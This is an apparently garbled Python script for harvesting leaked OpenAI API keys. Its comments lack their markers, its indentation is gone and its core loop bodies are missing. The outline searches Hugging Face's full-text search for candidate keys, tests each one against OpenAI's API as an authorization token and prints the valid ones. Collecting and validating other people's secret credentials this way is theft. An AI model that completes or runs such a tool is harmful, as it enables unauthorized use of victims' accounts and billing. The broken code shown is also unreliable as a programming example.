import requests
import re
Initialize an empty set to store unique keys
keys = set()
print("Starting to gather potential keys from Hugging Face's full-text search API...")
Loop over the characters 'a', 'h', 'm', 'q'
for char in ['a', 'h', 'm', 'q']:
print(f"Processing character: {char}")
Loop over the sequence of numbers from 0 to 900, step 100
print(f"Finished gathering potential keys. Found {len(keys)} unique keys in total.")
Initialize an empty list to store valid keys
valid_keys = []
print("Starting to validate keys with OpenAI's API...")
Test each unique key
for key in keys:
print(f"Testing key: {key}")
Send a request to OpenAI's API with the key as an authorization token
print(f"Finished validating keys. Found {len(valid_keys)} valid keys in total.")
Print the valid keys
print("Valid keys:")
for key in valid_keys:
print(key)